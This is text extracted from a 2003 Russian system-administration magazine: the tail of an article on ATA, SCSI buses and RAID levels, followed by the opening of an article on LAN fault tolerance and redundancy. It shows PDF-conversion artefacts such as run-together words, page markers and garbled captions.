ATA-5 диски считывают данные и ECC из каждого фи-зического сектора, и в случае ошибки перемещают дан-ные из проблемного сектора в резервный. Естественно,это делается в свободное от «основной работы» время.

В рамках работ по созданию ATA-5 также разрабаты-валась (и только сейчас разработка заканчивается) но-вая последовательная ATA-шина, получившая названиеSerialATA. Эта новая последовательная шина имеет не-сколько преимуществ, из которых два основных – этоуменьшенные физические размеры разъемов и снятиелимита в 45 см на длину ATA-кабеля. Рано или поздно эташина станет основной в настольных системах, но на те-кущий момент она все еще не получила существенногораспространения.

Ну и для полноты картины необходимо упомянуть оATAPI-протоколе, используемом для подключения к ATA-шине устройств, дисками не являющихся, т.е. CDROM,DVD и стримеров. Так как стуктура команд этих устройствабсолютно несовместима со структурой команд дисков,был введен протокол более высокого уровня, использу-ющий в качестве транспорта протокол ATA и названныйATAPI (ATA Packet Interface). Для этого наряду с драйве-ром ATA используется еще один драйвер, инкапсулиру-ющий команды и данные в пакеты ATA. Такие инкапсу-лированные пакеты выглядят как обычные пакеты дан-ных для жесткого диска на той же ATA-шине. ATAPI по-зволил стандартизовать интерфейсы дисковых устройстви упростить работу с ними, что, в свою очередь, привелок еще более широкому распространению ATA как шиныпередачи данных.

Напоследок несколько советов и слов о наиболее рас-пространенных проблемах с ATA:� Не пытайтесь использовать UltraATA-режимы и обыч-

ные 40-проводниковые АТА-кабели. Работать не будет.� Не устанавливайте на одном шлейфе UltraATA- и ATA-

устройства. Работать будет, но режим работы шиныбудет соответствовать режиму работы наиболее мед-ленного устройства.

� ATA-драйвера большинства операционных систем по-зволяют вручную установить режим работы шины. Есливы испольуете Windows, просто установите драйвера,поставляемые в комплекте с материнской платой. Есливы используете Linux, прочитайте документацию наутилиту hdparm. В любом случае возможен некоторыйприрост производительности.

� Если вам необходимо за относительно небольшиеденьги получить сравнительно приличную производи-тельность дисковой подсистемы, обратите вниманиена ATA RAID контроллеры. Сейчас эти устройства ста-бильны, недороги и поддерживаются большинствомоперационных систем.

Стандарт ATA задумывался как максимально простаяи дешевая технология подключения дисковых устройствв настольных системах. Именно поэтому типичный оди-ночный ATA-диск обычно обходит аналогичный диск SCSIпо всем параметрам. Причина этого проста – ATA-дискиявляются гораздо более простыми устройствами, чем дис-ки SCSI и, соответственно, гораздо менее «умными». Кро-ме того, в ATA-протоколе отсутствует комплексная систе-ма команд SCSI, необходимая для менеджмента до 15 ус-тройств на одной шине, и связанные с такой системой до-полнительные накладные расходы. К тому же ATA-диск, ане контроллер шины управляет ATA-шиной, и пересылаетданные в выделенном режиме, он не разделяет шину сдругими устройствами.

Но у ATA есть и серьезные недостатки. Так как управ-ление каждым ATA-устройством осуществляется непос-редственно операционной системой, скорость передачиданных сильно зависит от частоты процессора компьюте-ра. И даже на относительно быстрых системах передачазаметного обьема данных по АТА-шине «сьест» вплоть до60 % процессорного времени. В случае же использова-

Page 74: 004 Системный Администратор 03 2003

72

hardware

ния SCSI-устройств основная часть работы по передачеданных выполняется контроллером шины и нагрузка напроцессор минимальна.

Вторым большим недостатком ATA является неболь-шое число дисков, которые могут быть установлены водной системе. Так как к одной ATA-шине могут бытьподключены только 2 устройства, максимальное числодисков ATA редко превышает 4 в одной системе. И ог-раничение на длину ATA-кабеля играет в этом не пос-леднюю роль. Именно поэтому я заметил в начале ста-тьи, что ATA-диски идеально подходят для настольныхсистем, но абсолютно неприменимы в системах сред-него класса и выше.

Возможно, с распространением SerialATA расстанов-ка сил несколько изменится, но сейчас еще рано об этомговорить.

Тем не менее если у вас возникла необходимость по-лучить сколько-нибудь приличное число IOPS или высо-кий DTR, у вас есть только один вариант – использоватьпротокол SCSI в одной из его инкарнаций.

В 1981 году Shugart Assosiates (позже переименован-ная в Seagate Technologies) и NCR Technologies совмест-но разработали и выдвинули на рассмотрение новый дис-ковый интерфейс. После некоторых изменений интерфейсбыл одобрен и в 1986 году принят в качестве стандартно-го, сейчас известного как SCSI-1.

После достаточно большого перерыва, в 1994 годуANSI принял новый стандарт – SCSI-2. На самом делеSCSI-2 – шина с пропускной способностью 10 и 20 Mб/споявилась на рынке заметно раньше, что является типич-ной картиной для быстроразвивающихся технологий.Очень скоро, в 1996 году появился первый стандарт SCSI-3с поддержкой Ultra-устройств и пропускной способностью20 и 40 Mб/с. Вслед за ним в 1998 году появилось новоерасширение стандарта SCSI-3 – Ultra2 с пропускной спо-собностью 80 Mб/с. Одной из особенностей Ultra2 сталоиспользование LVD (Low Voltage Differential) протокола дляувеличения максимально допустимой физической длиныSCSI-шины. Однако в 2000 году появляется новый стан-дарт Ultra160 SCSI с пропускной способностью 160 Mб/с,который на настоящий момент и является основным. Иуже в 2002 году появились первые устройства, поддер-живающие Ultra320 SCSI, новый протокол, основной кон-курент Fibre Channel систем хранения.

Итак, SCSI-протокол. Как и технология ATA, SCSI-про-токол определяет как физический, так и логический уро-вень. Физический уровень, где определяется число уст-ройств на шине, длина проводников, уровни сигнала ипрочие физические характеристики, наиболее подверженизменениям. Фактически, обсуждая SCSI-стандарты, мож-но говорить только об изменениях физического уровня.При этом логический уровень, определяющий команды уп-равления SCSI-устройствами и шиной, остался практичес-ки неизменным, вплоть до того, что логический уровеньSCSI-протокола также используется в FC-устройствах. По-этому основное внимание мы обратим именно на физи-ческие характеристики SCSI-шины.

SCSI-шина. Снова немного терминологии.SCSI-устройство, оно же – любое устройство, подклю-

ченное к SCSI-шине. Обсуждая физическую SCSI-шину,обычно говорят о 2-х типах устройств – targets и initiators.

Initiator, он же контроллер шины, он же SCSI-адаптер.Устройство, управляющее SCSI-шиной и соединяющее еес системной шиной.

Target, он же просто SCSI-устройство. Любое устрой-ство (диск, стример, CD-ROM), подключенное к SCSI-шине.

Собственно, поэтому и используют такие «относитель-ные» термины как target и initiator. Иногда это удобно, таккак в некоторых инсталляциях могут быть использованыдва SCSI-адаптера, подключенные к одной SCSI-шине (такназываемый dual-initiator). При этом взаимно друг к другуони являюся iniator и target. Я использую наиболее подхо-дящие к конкретной ситуации термины.

Контроллер шины является главным во всей этой связ-ке, и управляет работой всей шины в целом и каждогоSCSI-устройства по отдельности, передавая им командыуправления. SCSI targets в обычном состоянии «отсоеди-нены» от SCSI-шины, и могут подключаться к ней толькопосле разрешения контроллера шины. Они подключают-ся к шине только для получения команд и передачи дан-ных, в остальное время targets работают автономно. Кон-троллер шины управляет устройствами посредством де-вяти выделенных сигнальных линий.

Существует два физических типа параллельной SCSI-шины – 8-битная Narrow и 16-битная Wide. В данном слу-чае число бит определяет число проводников, предназ-наченных для передачи данных по шине.

Максимальное число устройств, подключеных к шине,зависит от типа используемого SCSI-протокола. В настоя-щее время это 7 targets для Narrow SCSI, 15 для Wide SCSIи 127 для FC. На текущий момент используются 3 типа па-раллельной SCSI-шины – single-ended (SE), differential (HVD)и низковольтная differential (LVD). Все они несовместимымежду собой, так как каждый тип определяет свои уровнисигнала и назначение проводников.

SE SCSI является старейшей и наименее надежной. Вданном типе шины логическая 1 определяется низким уров-нем сигнала на проводнике (0-0.5 В), а логический 0 опре-деляется высоким уровнем сигнала (2.5-5 В). При такихнизких уровнях сигнала максимальная длина шины не мо-жет превышать 1.5 м. для Ultra SCSI-2 и 3 м. для Fast SCSI-2.

Для преодоления этих лимитов был разработанdifferential SCSI, сейчас называемый HVD. В HVD исполь-зуются «плюс/минус» пары сигнальных линий с напряже-нием от 0 до 12 В для каждой линии данных, и логическая 1определяется, когда сигнал на «плюс» проводнике выше, чемна «минус»; и логический 0, когда сигнал на «плюс» провод-нике ниже, чем на «минус». Согласно стандарту, максималь-ная длина HVD SCSI шины не должна превышать 25 м.

LVD, пришедший на смену HVD, также использует +/-пары сигнальных линий, но с напряжением 5 В, а не 12. Врезульате LVD оказался более дешевым и получил боль-шее распространение, хотя и ценой снижения максималь-ной длины шины.

Важно понимать, что все перечисленные типы уст-ройств несовместимы между собой. Хотя LVD-устройства,поключенные к SE-шине, будут работать, но только с дег-радацией их производительности до SCSI-2. И наоборот:

Page 75: 004 Системный Администратор 03 2003

73№3(4), март 2003

hardware

единственное подключенное к LVD-шине SE-устройствоприведет к переключению всей шины в SCSI-2 режим.

Также важно знать, что LVD- и HVD-устройства абсо-лютно несовместимы, хотя и имеют одинаковые интерфей-сы. И хотя на большинстве LVD-устройств существует за-щита от подключения их к HVD-шине, будьте вниматель-ны. Подключение LVD-устройства к HVD-шине (и наобо-рот) может привести к полному выходу из строя всех под-ключенных к шине устройств, включая SCSI-контроллер.

Для контроля целостности любой SCSI-шины исполь-зуется ее терминация с обеих строн. Осуществляется тер-минация при помощи терминаторов – резистивной нагруз-ки, стабилизирующей работу шины. Существуют два типатерминации – активный и пассивный. Замечу, что исполь-зование разных типов терминаторов на разных сторонахшины неминуемо приведет к проблемам.

Пассивная термининация в настоящее время исполь-зуется только для SE-шины. Активная терминация можетбыть использована для любого типа шины, и может осу-ществляться как самим устройством, так и внешним тер-минатором (LVD-устройства не имеют встроенного тер-минирования, необходимо использовать внешние актив-ные терминаторы).

И немного о SCSI-коннекторах. В настоящее время ис-пользуются коннекторы 50-pin SCSI-2, 68-pin SCSI-3 и 80-pinSCA. На старых устройствах также можно встретить 50-pin разьемы Centronics-50, DB50 (3 ряда контактов). SCA-коннекторы обычно используются для hot-plug дисков, и кро-ме 68 проводников включают проводники электропитанияи проводники назначения SCSI ID для устройства. Хотя принеобходимости диск, имеющий SCA-интерфейс, можетбыть подключен к 68-pin SCSI-шине через переходник.

Вот и все о физическом устройстве SCSI-шины.

Часть 3В предыдущих частях мы разобрались с низкоуровневы-мы устройствами, используемыми в системах храненияданных, характеристиками производительности и прото-колами. Пришло время поговорить о возможных моделяхустройства самих систем хранения.

В этой части мы рассмотрим используемые в реаль-ной жизни технологии, начиная с самых простых и закан-

чивая комплексными RAID-системами. Но, как обычно, не-много терминологии для начала.

RAID (Redundant Array of Independed Disks) – техноло-гия, позволяющая получить быструю, лекгую в управле-ниии надежную систему хранения.

Чанк (chunk) – минимальный размер записи для RAID-тома. Иногда его также называют шириной страйпа. Рас-сматривайте его как размер логического блока для дис-ков в массиве. Обычно размер чанка может быть выбранпри создании массива и составляет от 16 до 128 Кб. Ноподробней об этом ниже.

Страйп (stripe) – ряд или «колонка» чанков по одномус каждого диска. Также этот термин может быть исполь-зован для обозначения RAID-0 массива.

Cтрайпинг (striping) – тот или иной метод логическогообьединения чанков для формирования страйпа.

Зеркалирование (mirroring) – технология, обеспечива-ющая копирование данных с одного носителя на другой вреальном времени. Простейший способ получить систе-му хранения с резервированием всех данных.

Аппаратный RAID – устройство RAID, созданное и под-деживаемое на аппаратном уровне. При этом для опера-ционной системы такое устройство выглядит как один фи-зический жесткий диск – отдельные диски, составляющиеданное устройство, системе невидны. Наиболее удобное,надежное и дорогое решение. Что важно, такой массив мо-жет быть организован, как полностью независимое внеш-нее устройство, со своим корпусом, блоками питания, пре-доставляющее компьютеру только тот или иной интерфейсфизического уровня (SCSI или Fibre Channel, например).

Програмный RAID – RAID-устройство, созданное про-граммным обеспечением операционной системы. Основ-ными недостаткоми по сравнению с аппаратным являет-ся «видимость» каждого диска для операционной систе-мы (и конечно для вас, как системного администратора),а также более низкая производительность практическина всех уровнях RAID. Однако данная технология являет-ся достаточно популярной и реализована практически вовсех операционных системах. Достаточно для начала,подробней поговорим ниже.

Давайте теперь рассмотрим возможные схемы устрой-ства систем хранения. Тема неоднократно обсуждалась, новкратце повторим, тем более что число возможных вариан-тов невелико. Все они имеют свои преимущества и свои не-достатки, и единственная тонкость состоит в выборе пра-вильного – того, который обеспечит вам нужную производи-тельность и надежность, и который можете себе позволить.

Первая, и наиболее распространенная схема – ПКД(JBOD – Just a Bunch Of Disks) – Просто Куча Дисков (шут-ка). Собственно, это куча и есть – несколько дисков, ис-пользуемых каждый «сам по себе». На каждом диске со-здаются разделы, на каждом разделе создается файло-вая система. Наиболее дешевый, и наименее надежныйспособ хранения. Идеален для рабочих станций и неболь-ших серверов, конечно, при условии регулярного резерв-ного копирования.

RAID-массивы. В общем случае любой RAID-массивможно рассматривать как совокупность методов зерка-лирования и того или иного вида страйпинга. Как я уже

Page 76: 004 Системный Администратор 03 2003

74

hardware

упоминал выше, может быть реализован как аппаратны-ми, так и программными средствами.

Существует только 5 основных видов RAID, их мы ирассмотрим в первую очередь. Другие виды мы такжерассмотрим, хотя они являются только той или иной ком-бинацией этих пяти основных.

Сама концепция RAID была предложена в 1988 году вуниверситете Берклей. Концепция предлагала относитель-но дешевый метод создания дисковых систем большойемкости и надежности, используя стандартные компонен-ты. Был предложен один метод увеличения емкости сис-темы и 5 методов обеспечения повышенной надежности.Эти методы получили имена RAID 0, 1, 2, 3, 4 и 5 и до сихпор используются в практически неизменном виде.

Основой всех уровней (за исключением RAID-1) явля-ется страйпинг. В результате страйпинга логические бло-ки RAID-тома равномерно распределяются, чередуясь повсем физическим дискам массива. Премуществами та-кого подхода являются увеличение емкости системы, атакже увеличение производительности и надежности вслучае с RAID уровней 3, 4 и 5.

Повышенная надежность (защита данных) обеспечи-вается за счет поддержания в реальном времени копиивсех данных на дополнительном (или нескольких допол-нительных) дисках в случае RAID-1, и за счет контролячетности в случае RAID уровней 3, 4 и 5.

Заметьте, что в случае RAID-1 не происходит увеличе-ния емкости всей системы, а существует только приростпроизводительности на операциях чтения данных. Хотятакая конструкция и представляет определенный интерес,давайте более детально рассмотрим страйпинг с контро-лем четности.

Предположим, что в нашем распоряжении имеется дис-ковый массив из 5 дисков. В случае если этот массив скон-фигурирован как RAID уровней 3, 4 или 5, суммарная ем-кость четырех дисков будет использована непосредствен-но для данных, а емкость одного диска будет использова-на для хранения данных четности. Каждый страйп в та-ком массиве будет состоять из пяти чанков, четыре изкоторых будут содержать полезные данные, а пятый чанкбудет содержать данные четности.

Данные четности представляют собой результат опе-рации «исключающее или» (XOR), производящейся по-битно для каждой «колонки» бит в страйпе.

В случае отказа одного из дисков в таком массиве,данные чанков отказавшего диска могут быть восстанов-лены с использованием данных функционирующих дис-ков и данных четности. При этом, даже при отсутствииодного из дисков, дисковая система продолжит работу,хотя и значительно медленней, в так называемом «дегра-дировавшем режиме» (degraded mode).

Важно понимать, что сама технолоия RAID не контро-лирует целостность данных. Чанки четности не считыва-ются в процессе нормальной работы, а контроль целост-ности данных возложен на рассмотренные выше механиз-мы защиты дисков и шин данных (ECC секторов диска иконтроль четности на шине).

После замены отказавшего диска, его данные будутпостепенно восстановлены, и массив вернется к нормаль-

ной работе. Процесс такого восстановления называется«реконструированием» (reconstruction) массива и можетбыть инициирован, как автоматически после замены от-казавшего диска, так и вручную.

Одним из неочевидных свойств любого RAID-массиваявлятся его пониженная, по сравнению с отдельным дис-ком, средняя продолжительность бесперебойной работы(MTBF, Mean Time Betwen Failures). Действительно, еслиMTBF одиночного диска составляет 1000000 часов, тоMTBF дискового массива из 15 таких дисков составит66666 часов, а если предположить, что у вас использует-ся 10 таких массивов, то их суммарный MTBF составитвсего 6666 часов – немногим более полугода, и чем доль-ше эти диски эксплуатировались, тем выше вероятностьих выхода из строя.

Разобравшись с принципами работы RAID, давайтеболее детально рассмотрим каждый из его уровней.

RAID-0. Представляет собой простой страйп несколь-ких дисков, без контроля четности. Не обеспечивает за-щиты данных, но обеспечивает максимальную произво-дительность на всех операциях ввода/вывода. Однакоотказ одного любого диска в такой системе приведет кполной потере всех данных массива. Используя такоймассив, вы должны осознавать риск, на который идете, ирегулярно резервировать имеющиеся данные.

RAID-1. Представляет собой простое копирование дан-ных с одного диска на один или более резервных дисков.Постейший уровень RAID, обеспечивающий защиту дан-ных и прирост производительности для операций чтения.В случае выхода одного из дисков из строя, все операциипроизводятся с работающим диском, хотя при этом и те-ряется защита данных. Прирост производительности обес-печивается за счет того, что операции чтения могут бытьвыполнены с любого диска. В то же время все операциизаписи производятся всегда только на один из дисков.Кроме того, если используется программый RAID-1, наоперациях записи может наблюдаться снижение произ-водительности по сравнению с отдельным диском, какследствие «двойной» передачи данных по шине. Данныйуровень RAID можно рекомендовать для использования вособо критичных системах и для системных разделов.

Производными от этих двух уровней RAID являютсяRAID-0+1, RAID-10 и RAID-100. Эти уровни уже являютсядвумерными массивами, хотя и абсолютно различны.

RAID-0+1 можно рассматривать как двумерный мас-сив дисков, представляющий собой миррор одного RAID-0тома на другой RAID-0 том. Такая конструкция обеспечи-вает прирост производительности аналогично обычномуRAID-1. Но надо заметить, что надежность такого масси-ва крайне мала. Выход из строя одного диска приводит кполной потере одного из RAID-0 томов и, как следствие,переходу миррора в деградированный режим. Кроме того,возможным следствием является потеря всех данных мас-сивы при выходе из строя дополнительно еще одного ихдисков работающего RAID-0 тома.

RAID-10. Можно рассматривать как двумерный массив,но в отличие от RAID-0+1, являющийся страйпом несколь-ких RAID-1 томов. Легко заметить, что при таком же чис-ле дисков и емкости, что и в RAID-0+1, RAID-10 обеспечи-

Page 77: 004 Системный Администратор 03 2003

75№3(4), март 2003

hardware

вает гораздо более высокие уровни производительностии надежности. Действительно, в случае выхода из строяодного из дисков будет наполовину снижена производи-тельность только одного RAID-1 тома, а массив остаетсяполностью работоспособным. Таким образом, данные бу-дут потеряны, только если из строя выйдет второй дискиз уже поврежденной пары, вероятность чего относитель-но невелика.

RAID-100, в свою очередь, представляет собой RAID-0массив, в качестве физических «устройств» которого ис-пользуются RAID-10 массивы. Конфигурация крайне ред-кая, и может быть реализована только с одновременнымиспользованием аппаратного и програмного RAID. Пра-вильно спроектированный RAID-100 массив обеспечитмаксимально возможную производительность, и наобо-рот, в случае ошибки при конфигурировании массиваможет получиться весьма неторопливый динозавр.

Заметным недостатком вышеперечисленных уровнейRAID-1, 10 и 100 являются большие потери дискового про-странства. На самом деле для этих уровней «потери» со-ставят ровно половину от суммарной емкости физичес-ких устройств. Для сокращения таких потерь и были пред-ложены RAID уровней 3, 4 и 5, основанные на страйпингес контролем четности.

RAID-3 является наименее используемым и наиболеетруднореализуемым представителем данного типа ма-сивов. RAID-3 масивы состоят из небольшого числа дис-ков, редко больше пяти. Один из этих дисков использут-ся для хранения данных четности, а оставшиеся – дляхранения полезных данных. При этом скорости враще-ния всех дисков массива синхронизированы. При запро-се любого блока такого массива, головки всех дисковтакже передвигаются синхронно. В результате такой син-хронизации в один момент времени головки всех дисковбудут находиться над одним и тем же сектором поверх-ности, читая или записывая его на все диски одновре-менно. Получившееся устройство более всего напоми-нает одиночный жесткий диск, если бы существовалидиски такой емкости и производительности. Однако из-за сложности реализации такой схемы и дороговизны,RAID-3 массивы получили распространение только там,где требуется максимальная производительность дляопераций чтения большого обьема последовательныхданных. Системы видеомонтажа, например.

RAID-30 является логическим продолжением и пред-ставляет собой RAID-0 массив, состоящий из RAID-3массивов. Может быть использован для преодоления ог-раничений на емкость RAID-3 масивов (как я уже заме-тил, они состоят из относительно небольшого числадисков ) и отчасти для увеличения производительнос-ти. Как и RAID-100, RAID-30 реализуется одновремен-ным использованием аппаратных (RAID-3 часть) и про-грамных (RAID-0 часть) средств.

RAID-4. В данной технологии используется страйпингс контролем четности, при этом один из дисков использу-ется только для хранения данных четности. Контроль чет-ности гарантирует избыточность массива с минимальны-ми потерями полезного дискового пространства, но един-ственный диск для хранения данных четности быстро ста-

новится узким местом при операциях записи. Широкогораспространения такие системы не получили, и были бы-стро вытеснены более продвинутым вариантом – RAID-5.

RAID-5 также использует страйпинг с контролем чет-ности, но вместо выделеного диска для данных четности,чанки с этими данными равномерно распределены по всемдискам массива. Такая схема позволяет избежать огра-ничений на производительность, присущих RAID-4 маси-вам, и в то же время использовать дисковую емкость мак-симально эффективно.

RAID-5 массивы могут быть реализованы как аппарат-но так и программно, но в случае программной реализа-ции операции записи на массив крайне медленны, так какпрограммное вычисление четности данных требует сво-ей доли процессорного времени. В большинстве случаев,используя программную реализацию, вы теряете больше,чем приобретаете.

RAID-50, аналогично RAID-30, представляет собой сим-биоз RAID-0 и RAID-5 с аппаратной реализацией RAID-5 ипрограмной RAID-0. На мой взгляд, именно RAID-50 на те-кущий момент времени обеспечивает максимально вы-годное сочетание цены, емкости и производительности.

RAID-6 представляет собой RAID-5, дополнительно «на-крытый» еще одним диском с данными четности. Такаяконструкция была призвана для защиты от одновремен-ного отказа двух дисков (что само по себе крайне мало-вероятно), но распространения не получила, так как про-изводительность такого массива на операциях записипрактически никакая.

Что касается производительности RAID-томов – лю-бая корректно спроектированная система хранения, ис-пользующая RAID-тома, обеспечит прирост того или

Page 78: 004 Системный Администратор 03 2003

76

hardware

иного вида производительности. Проектирование сис-темы хранения включает анализ таких факторов, какпотребность приложения в дисковом пространстве, пре-обладающие типы запросов ввода/вывода (чтение илизапись), размер этих запросов. При этом также необ-ходимо учесть особенности используемых в операци-онной системе файловых систем, возможности оптими-зации ввода/вывода средствами операционной систе-мы, и еще множество других.

Вот типичный пример. Предположим, что у нас име-ется дисковый массив из 5 дисков, сконфигурирован-ный как аппаратный RAID-5 том с размером чанка 32 Кб,и созданная на нем файловая система с размером бло-ка также 32 Кб. При записи на такой массив файла раз-мером 10 Мб, RAID-контроллер буферизует в кэш-па-мяти достаточно данных для заполнения страйпа цели-ком, т.е. 128 Кб (т.к. в этом примере только чанки с 4дисков могут быть использованы для данных), вычис-ляет данные четности, и записывает все 5 чанков надиски. Т.е. в данном случае контроллер перезаписыва-ет большинство страйпов целиком, и чтения данных сдисков не производится, только запись. А теперь да-вайте предположим, что нам необходимо перезаписатьтолько один чанк в страйпе. Для этого блоки данныхперезаписываемого чанка и блоки данных четности счи-тываются в кэш-буфер RAID-контроллера. Туда же за-писываются новые данные для перезаписываемого чан-ка. Затем производится операция “XOR” для новых дан-ных и считанных старых данных чанков. Над получив-

шийся в результате этой операции блоком данных про-межуточной четности и старыми данными четности так-же проводится операция “XOR”, генерирующая новыеданные четности. И наконец, новые данные чанка иновые данные четности записываются на диски. Каквидно, в результате одного такого изменения данныхмы получим дополнительную нагрузку в виде двух опе-раций чтения и двух операций записи.

А теперь представьте, что вы ошиблись при проекти-ровании системы хранения, и любая операция записи нанее порождает такую двойную нагрузку.

В действительности, практически невозможно точнопредположить, как будут располагаться данные на RAID-томе, поэтому прежде чем запускать систему в эксплуа-тацию, проведите несколько экспериментов с изменени-ем размера чанка и размера блока файловой системы.

Ну и напоследок немного о надежности. Действитель-но, RAID-массив может спасти ваши данные при отказеодного из его жестких дисков. И даже продолжить рабо-ту. Но это не спасет вас от одновременного отказа не-скольких дисков, скажем, из-за сбоя в системе электро-питания, или отказе RAID-контроллера, или ошибке в егопрограммном обеспечении.

И хотя теория вероятности будет работать на вас, за-коны Мерфи окажутся сильней. Примите за данность тотфакт, что худшее случится именно с вашим массивом и всамый неподходящий момент. И тогда спасти вас сможеттолько бэкап, созданный прошедшей ночью. Никогда неполагайтесь только на RAID-массивы.

Page 79: 004 Системный Администратор 03 2003
Page 80: 004 Системный Администратор 03 2003

Значение коммуникационных структур, таких как локальные вычислительные сети, с каждымгодом возрастает. Появляются новые технологии, предлагающие все более фантастическиевозможности; новое оборудование, построенное на основе этих технологий и реализующее этивозможности. Так же возрастает роль надежной и своевременной обработки информации, чтотребует высококачественных и скоростных линий связи и обслуживающего оборудования сширокой полосой пропускания. Только та коммуникационная система может считатьсясовременной и актуальной, которая удовлетворяет ограничениям по пропускной способности,надежности/степени защиты от сбоев и отказов и модернизируемости, т.к. не секрет, что внастоящее время оборудование и технологии обновляются примерно раз в два года, и эта частотаимеет тенденцию к увеличению.

Значение коммуникационных структур, таких как локальные вычислительные сети, с каждымгодом возрастает. Появляются новые технологии, предлагающие все более фантастическиевозможности; новое оборудование, построенное на основе этих технологий и реализующее этивозможности. Так же возрастает роль надежной и своевременной обработки информации, чтотребует высококачественных и скоростных линий связи и обслуживающего оборудования сширокой полосой пропускания. Только та коммуникационная система может считатьсясовременной и актуальной, которая удовлетворяет ограничениям по пропускной способности,надежности/степени защиты от сбоев и отказов и модернизируемости, т.к. не секрет, что внастоящее время оборудование и технологии обновляются примерно раз в два года, и эта частотаимеет тенденцию к увеличению.

ДЕНИС ЕЛАНСКИЙДЕНИС ЕЛАНСКИЙ

ЛВС:УПРАВЛЯЕМОСТЬ,НАДЕЖНОСТЬ,МАСШТАБИРУЕМОСТЬ

ЛВС:УПРАВЛЯЕМОСТЬ,НАДЕЖНОСТЬ,МАСШТАБИРУЕМОСТЬ

Page 81: 004 Системный Администратор 03 2003

79№3(4), март 2003

образование

Ðèñ. 1. Êîììóòàòîðû Catalyst 6xxx ïðîèçâîäñòâà Cisco Systems.

Как и всякая иная система, вычислительная сеть (да-лее – ЛВС), имеет некое математическое описание. Наи-более полно физическая структура каналов связи, ре-ализуемых в рамках ЛВС, может быть представленанеориентированным графом. Узлами графа являютсяузлы коммутации (концентраторы и/или коммутаторы);ребра графа, в свою очередь, описывают линии связимежду узлами коммутации. Здесь и далее предполага-ется рассматривать сети с коммутируемой, а не разде-ляемой средой передачи данных. Учитывая, что сети сразделяемой средой передачи – сети, построенные набазе концентраторов и/или кабельных сегментов, такиекак 10Base2, 10Base5 – малоэффективны и больше неустанавливаются, то автор позволит себе не рассмат-ривать это ответвление технологии построения ЛВС, т.к.оно не отвечает современным требованиям.

Физически ЛВС можно представить как несколько мно-гопортовых коммутаторов, соединенных между собой оп-ределенным образом. Учитывая тот факт, что в сети ис-пользуются исключительно коммутаторы, то ограничение5-4-3 не является основополагающим. Это позволяет стро-ить сети, в которых было бы значительное количествопользователей, и которые покрывали бы значительныерасстояния.

Итак, какие сложности могут возникать при построе-нии и эксплуатации ЛВС?

Неприятностей может быть неограниченное число, новсе их можно охарактеризовать как отказ оборудования,недостаточная скорость существующих каналов переда-чи данных, увеличение числа пользователей.

Отказ оборудованияКак уже говорилось выше, ЛВС представляет собой узлыкоммутации и линии передачи данных. Линия передачи –это, как правило, кабельная система; узлы коммутациивключают процессор коммутации, блок питания, системувентиляции, интерфейсные платы. Естественно, что лю-бой из этих элементов может дать сбой либо отказать. Наприводимом ниже рисунке показаны коммутаторы, про-изводимые Cisco Systems.

Недостаточная скоростьТехнология Ethernet предусматривает следующие ско-рости передачи данных: 10, 100, 1000, 10000 Мб/с. Насегодняшний момент наибольшее распространениеимеют ЛВС, работающие на скоростях 10 и 100 мега-бит, причем 100-мегабитные сети постепенно вытесня-ют своих 10-мегабитных предшественников (так произо-

шел переход сначала от кабельных сетей к витопарным,а теперь и от 10- к 100-мегабитным сетям). Однако су-ществуют условия, в которых может не хватать имею-щихся возможностей по построению канала высокойпропускной способности. Например, имеющиеся ком-мутаторы поддерживают скорости до 1000 мегабит, атребуется построить канал в 5 гигабит. Или же на 100-мегабитном коммутаторе необходимо добиться показа-телей по пропускной способности в 400-600 мегабит.Естественно, резонно было бы просто заменить суще-ствующее оборудование на более производительное,но бывают случаи, когда этого нельзя сделать по рядупричин (это может быть невозможно либо с финансо-вой, либо с технической точки зрения).

Увеличение числа пользователейДругим неприятным моментом является увеличение чис-ла пользователей. С одной стороны, в проект должна бытьзаложена возможность потенциального расширения сети(плох тот инженер, результат работы которого не можетбыть усовершенствован согласно требованиям времени).С другой стороны, при росте количества пользователей(абонентов) в сети, накладные расходы на коммутацию всети резко возрастают. Эта проблема порождается тем,что каждое устройство, подключенное к сети, периоди-чески отсылает в сеть служебную информацию, котораяоповещает остальные сетевые устройства о том, что дан-ное устройство функционирует. Более всего это касает-ся коммутаторов, работающих в основном на канальномуровне согласно OSI-модели, обменивающихся таблица-ми коммутации.

Отказы оборудованияСуществуют методы, использование которых позволяетуменьшить риск полной утраты работоспособности систе-мы. Основой подобных мероприятий является резервиро-вание. Всего существует три типа систем резервирования:«холодное» резервирование (в этом случае запасной мо-дуль лежит на складе, и в случае выхода основного модуляон монтируется вместо отказавшего устройства); «теплое»резервирование, когда запасной агрегат подключен парал-лельно основному, но находится в выключенном состоя-нии (включить его можно сразу после того, как откажетосновная подсистема); третьим типом резервирования яв-ляется «горячее» резервирование: резервирующий эле-мент работает параллельно с резервируемым.

С точки зрения времени, требуемого на восстановле-ние работоспособности системы, оптимален вариант с «го-рячим» резервированием, т.к. при этом не возникает про-стоя. Однако с точки зрения времени наработки на отказ«горячее» резервирование приводит к преждевременно-му износу запасных модулей.

Впрочем, для современных систем (например, комму-таторов) среднее время наработки на отказ составляетсотни тысяч часов непрерывной работы. Отказать можетлюбой элемент сети: линия передачи, образуемая кабе-лем (витая пара с разъемами RJ45, оптоволокно с соот-ветствующими разъемами), порт одного (обоих) из ком-

Page 82: 004 Системный Администратор 03 2003

80

образование

Ðèñ. 3. ËÂÑ ñ ðåçåðâèðóåìûìè êàíàëàìè.

Ðèñ. 2. Íåðåçåðâèðóåìàÿ ËÂÑ.

мутаторов, плата расширения коммутатора, контроллерплат расширения, процессор коммутации, блок питания,вентилятор, сеть переменного тока.

Для того чтобы обезопасить свою сеть от перебоевэлектропитания, следует предусматривать источники бес-перебойного питания, а если возможны долгосрочныеперебои с электропитанием, то и системы резервногоэнергообеспечения.

Чтобы максимально обезопаситься от поломок обору-дования, следует:� резервировать все уязвимые узлы системы;� использовать надежное оборудование известных про-

изводителей.

При этом обе рекомендации равнозначны, ибо извест-но, что скупому приходится расплачиваться за собствен-ную скупость.

Учитывая тот факт, что большую часть рынка занима-ет продукция Cisco Systems, все дальнейшие рассужде-ния будут вестись исходя из того, что при построении ЛВСиспользуется сетевое оборудование именно этого произ-водителя (естественно, это вовсе необязательное усло-вие, т.к. намечается тенденция к сглаживанию качества удостаточно значительного числа производителей. Глав-ное, на что следует обратить внимание – на возможностирасширения сети и резервирования. Иными словами – настепень реализации идеи защиты инвестиций).

Для того чтобы избежать большинство проблем, опи-санных ранее, достаточно создать альтернативные мар-шруты.

В данном случае, при выходе из строя любого элемен-та тракта передачи данных на участке абонент 1 – або-нент 2, нарушается работоспособность всего механизмапередачи данных.

